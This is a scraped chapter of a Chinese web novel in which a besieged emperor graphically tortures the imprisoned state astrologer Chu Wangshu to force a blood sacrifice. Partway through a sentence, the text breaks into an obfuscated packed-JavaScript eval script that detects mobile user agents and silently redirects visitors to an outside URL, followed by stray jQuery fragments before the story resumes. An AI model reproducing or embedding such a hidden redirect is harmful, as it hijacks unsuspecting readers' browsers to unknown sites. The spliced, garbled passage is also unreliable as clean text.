默认冷灰
24号文字
方正启体

18. 血祭

作者:饭青果本书字数:K更新时间:
    楚望舒撑起身,拥住沈清梦,将头搭在她的颈窝,就这样坐了许久。


    “我唯一的筹码只有这条命,能威胁得了皇帝,是因为他不想让我死,而他若是敢动我身边的人,我是真的会死给他看,”楚望舒开口说道:“但我现在不想死了,清梦,我想同你有一个以后,而不是都葬送在这里。”


    沈清梦自然也懂楚望舒所说的道理,可真的舍不得,留下他自己。


    “若留下,你如何保全你自己?”沈清梦终究还是松了口。


    “沧宁进攻之时,皇帝必会让我卜算如何能度过此劫,我只需启动罗盘,趁机吃下假死药。”


    “那更不行了!你怎知他不会……”


    “不会,”楚望舒打断了沈清梦:“庆国认为有卜算能力的的楚氏血脉是得仙人赏赐,历代国师死后皆会葬入皇陵,不可能鞭尸,你只需在五日之内接我离开,我就不会真的死掉。”


    “……楚望舒,你不许骗我!”


    楚望舒拍了拍沈清梦的头:“没有骗你。”


    “若是唬我,以后天天你只有黄连吃。”


    “好,任你处置,”楚望舒笑着问道:“今晚我想吃山药泥,可以吗?”


    “淋花蜜还是果酱?”沈清梦似乎确实从未拒绝过楚望舒任何请求。


    “嗯……嘿嘿,都想吃。”


    “那就一坨加花蜜,另一坨加果酱!”


    “明日教我包饺子好不好?”


    “这……不太行,”沈清梦抬起头,捏捏楚望舒的脸:“我不会擀皮,只会包……”


    “我来学,以后我擀。”


    那场雪并不大,不到一个时辰便停下了,好似只是为了冲刷掉空气中积攒多日的尘埃。


    天气并没有很冷,随着太阳出现,覆盖在地面上那层薄雪渐渐消融,露出了残秋余下的痕迹。


    沈清梦在露台上,用积雪做了一只精致的小鸟,插了几根树枝在小鸟的尾部,她说这也勉强算一只大尾巴鸟。


    占星阁,在欢声笑语中,度过了最后的平静与详和。


    九月初七,沈清梦陪李太医外出拾药,带着两个小厮。


    山间路滑,沈清梦和李太医意外跌落山崖,小厮回禀后,驻守在灵台山的侍卫全部出动彻夜寻找二人,却皆空手而归,只在山下峭崖处看见了被树枝勾住的一段布条,那布料正是与沈清梦外出时所穿的衣物相同。


    可峭崖下,是湍流的山涧泉水,再向下走便成了瀑布,瀑布下更是万丈深渊。


    沈清梦和李太医,凶多吉少。


    楚望舒一时急火攻心,高烧不起。


    庆帝加派人手,一面救治楚望舒,一面将灵台山翻了个遍,甚至找到了瀑布下的河流山洞,却始终未见任何踪影。


    一些无人注意的暗处,沧宁的兵马已然插入大庆土地的每个角落。


    九月初九,重阳登高之日,沧宁的铁骑却踏碎了大庆边关的晨霜。


    那青色军旗如乌云压境,边关的烽火才燃起三座,守城的将领便悄然打开了城门——没有血战,没有顽抗,仿佛早已约定俗成。


    沧宁的军队长驱直入,沿途州县相继献印纳降,连象征性的抵抗都显得敷衍,所过之路并无血路,毕竟脚下的土地都曾是沧宁的国土。


    官道两旁的百姓闭户不出,却在窗缝后窥探,有人悄悄备好了迎师的米粮,他们等的不是叛军,而是迟来的王师。


    守将自缚请降时曾说:“非臣不忠,实乃天命已改,民心所向。”


    消息传至京城,重阳的菊宴堪堪撤席。庆帝第一次知道到兵临城下是何感受,皇城禁军即刻布防,却终究未曾守得住京城,只将那青色军旗挡在皇城之外。


    楚望舒被庆帝抓进了天牢,因为一个很古老的传言——血祭。


    古书有言:


    【星官承仙祖荫庇,掌窥天探星之能。


    若星辉有黯时,逢死局困厄,当取心头血,献于紫微帝星之下,可逆转乾坤,破万障于顷刻。


    然必以心甘魄诚为契,若存丝毫勉强,则星盘碎而天命反噬,迫者永堕无光之境。】


    这本是一个无人印证的古老传言,可兵临城下,庆帝无力回天,只能寄希望于让楚望舒心甘情愿献祭。


    沧宁势如破竹一路挺进大庆的消息刚传入宫中,庆帝就派人把楚望舒接入了皇宫。


    他清楚民心所向何处,亦知晓城池归顺无法阻拦,为今之计,只有血祭。


    庆帝也是这才意识到,沈清梦和李太医哪里是失足落崖,分明是让他无任何可拿捏楚望舒之处。


    楚望舒被关在水牢中,他双手被吊在铁索上,足尖堪堪可以点地,而池中水每日漫至胸膛停留两个时辰后才会褪去。


    即便如此,他也对血祭之事没有任何松动。


    那传言是楚望舒派人重新提起的,唯有这样,才能困得住庆帝,不会杀了他。


    国师死后入皇陵这件事没有骗沈清梦,但……并非全尸。为防止楚氏投生去他国,历代国师死后是断手断脚,将躯干牢牢钉在棺椁里,才可葬入皇陵。


    但这些,自然外界不会知晓。


    急火攻心是假,高烧不退是真。楚望舒在水牢中已然混沌,只有按时涨起的脏水在提醒他,又过了一天。


    第三日了。


    今日这水,似乎褪去的有些早。


    束着楚望舒双手的铁锁被解开,两个侍卫把他从水牢中拖出,留下了一路蜿蜒的水痕。


    没了铁锁环吊,楚望舒脱了力,整个人伏在地面上,同死尸唯一的区别,只是他带着颤抖的呼吸。


    侍卫揪起他的头发,迫使他抬起头,与皇帝对视。


    不同于前几日皇帝的焦虑,他今日更近似急迫地问着:“国师,还是不愿开启血祭,救庆国于水火吗?”


    楚望舒已经在晕厥的边缘,只剩下一丝并不清醒的神智,声音沙哑无力:“我为何……要救……这样的国……”


    “你是庆国的国师!这本就该是你的命!”


    “左不过都是,要死的……不然,陛下立刻杀我……祭天哈哈哈哈哈哈……”


    天牢中回荡着楚望舒的笑声,苍凉又凄厉,却又带着几分近似疯癫的,满足。


    两个狱卒瞬间将楚望舒拖拽到刑架上,又重新将他双手吊住,皇帝抄起那带着狰狞倒刺的铁钩,没有丝毫犹豫,精准狠戾地刺入楚望舒右侧肩胛骨下的薄弱之处。


    “呃——”楚望舒身体瞬间绷紧,铁链被他拽得铿然作响。倒刺剐蹭着骨头与神经,带来足以令人疯狂的撕裂剧痛。他额上青筋暴起,大颗冷汗滚落,牙关咬得死紧,将那声痛呼死死锁在喉间,只有压抑到极致的闷哼溢出。


    鲜血汹涌而出,在他本就被浸湿的单薄里衣上蔓延开来。


    “朕再问你一次,是否愿意进行血祭!”


    楚望舒痛得视线都已模糊,呼吸破碎,却仍艰难地扯出一个笑,并未回答庆帝,而是断断续续道:“沧宁……打到京城了?”


    “朕问你是否进行血祭!”皇帝双眼猩红,带着病态的急切,他拿起另一个铁钩,对着楚望舒左侧的肩胛骨猛地扎了下去。


    可楚望舒已然连痛呼都没了力气,只有被疼痛牵起的生理性肌肉反应,整个人都在颤抖:“看来……更快……皇宫被……围了吧……”


    他说完这话后意识终于支撑不住,彻底沉入黑暗。


    “泼醒他!”皇帝厉声喝道。


    一桶冰寒刺骨的盐水当头泼下,伤口遭遇盐蚀,产生钻心的灼痛,楚望舒身体剧烈一颤,微微睁开了眼,喘息声粗重又破碎。


    庆帝的语气已经近似疯魔:“一根一根扎,到他松口为止!”


    狱卒手中托着一套细长、闪着寒光的钢刺,他抓起楚望舒一只无力垂落的手,捏起一指,将那尖刺对准指甲末端与皮肉连接处的嫩肉,毫不留情地、一点点地扎刺进去!


    十指连心,剜心剔骨之痛不过如此。


    “啊——”楚望舒终


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413251|184198||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是忍不住发出一声短促的痛呼,猛地仰起头,脖颈处拉出了一道绝望的弧度。


    钢刺一根接一根地没入十指指甲之下,楚望舒身体剧烈地抽搐,每一次颤抖都牵扯着肩胛的铁钩,带来新一轮的折磨。


    那双被沈清梦夸过无数次的,修长又白皙的手,已经没了当初的模样。他十指的指尖,都完全被鲜血浸染,血珠顺着指缝流出,挂在钢针上,再一滴一滴落下。


    清梦,我真的,好疼……


    不知第几根钢针没入指尖,楚望舒彻底没了意识,再次晕死过去。


    见冰盐水泼不醒楚望舒,老太监立刻上前,捏开他的下颌,将一瓶辛辣刺鼻的赤色药液强行灌入他口中。


    那是审讯犯人时常用到的药,服下后会强行让人维持清醒,并在一个时辰内放大痛感,药力凶猛,灼烧着喉管与脏腑,却也极其耗损心脉。


    楚望舒猛地咳嗽起来,肺叶如同被撕裂,牵动周身伤口,意识被迫从昏迷中被拽回。他眼帘艰难颤动,睁开,涣散的瞳孔好一会才聚焦于皇帝那张因焦虑和疯狂而变得狰狞的脸。


    就在这时,天牢入口处隐约传来轰隆巨响,喊杀声、兵刃交击声骤然逼近。


    一名禁军侍卫满身浴血,踉跄扑入,惊恐喊叫:“陛下!沧宁军攻破玄武门了!”


    皇帝身形剧震,脸上血色霎时褪尽,眼中先是极致的恐惧,随即被一种彻底的疯狂所取代。他猛地看向刑架上气息奄奄的楚望舒,眼中闪过孤注一掷的狠绝。


    “天要亡朕……朕偏要逆天而行!”他嘶吼着,一把拿起一柄短刃匕首,那匕首造型奇特,刃口中空,似专为取血而生。


    他一步踏前,左手粗暴地撕开楚望舒胸前早已被血浸透的残破衣襟,露出苍白却肌理分明的胸膛。


    皇帝状若疯魔,高举匕首,对着楚望舒心口的位置,狠狠刺下!


    噗嗤——


    利刃破开皮肉,直没至柄。


    楚望舒身体猛地向上挺起,浑身上下都痉挛着,双眼骤然睁大,眸中却没有丝毫神韵,似濒死的鱼一般微张着口,却发不出任何声音。


    极致的、无法形容的剧痛瞬间炸开,吞噬了他所有的感知。


    皇帝手腕猛地一拧,拔出匕首,殷红的血液自楚望舒心口汩汩流淌。


    血涌出的瞬间,楚望舒的头无力地垂落下去,意识却被刚饮下的药强拽着,混沌又清明。


    血液滴在罗盘之上,那玄铁却丝毫未有变化。


    皇帝瞬时掐住楚望舒的脖子,急切的吼着:“说!说你愿意献祭!说啊!”


    楚望舒只是重复着那句诅咒:“若……存丝毫……勉强……迫者永堕……无光之境……”


    皇帝拿起匕首对着楚望舒的心脏便要再刺下去。


    他刚抬起手,身后便传来了沈清梦一声惊呼:“放了他!我,我把玉玺还你!”


    皇帝回过头去,只见沈清梦孤身一人,竟未带任何兵器,手中只高举着象征着庆国皇权的玉玺。


    “或者你要什么,我都帮你去同女君说,别杀他!”沈清梦说着,直挺挺跪在了牢房前,将玉玺向前奉上。


    “一块死玉有何用!朕要沧宁退兵,你又如何能做主!”


    外面的喊杀声已然停歇,沈清梦的出现,意味着沧宁的确已经突破了最后防线。庆帝只是近似疯魔,却并未头脑混乱,他清楚,沈清梦只是在拖延时间。


    沈清梦声音陡然拔高:“你比谁都清楚,皇宫已破,大势已去!若你愿意放楚望舒一命,我保你皇室亲眷安度余生!”


    她站起身,上前一步,目光灼灼地盯着皇帝:“我甚至可以让你安全离开京城,带走你的内帑珍宝,只要你别杀他!”


    庆帝似是在思考沈清梦所言之事,并未做出任何反应。


    天牢内此刻静得可怕,沈清梦立在原地,紧盯着庆帝手中那悬于楚望舒胸膛之上的匕首。


    无人注意的角落,一缕白烟早已缓缓扩散,蔓延至整个天牢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)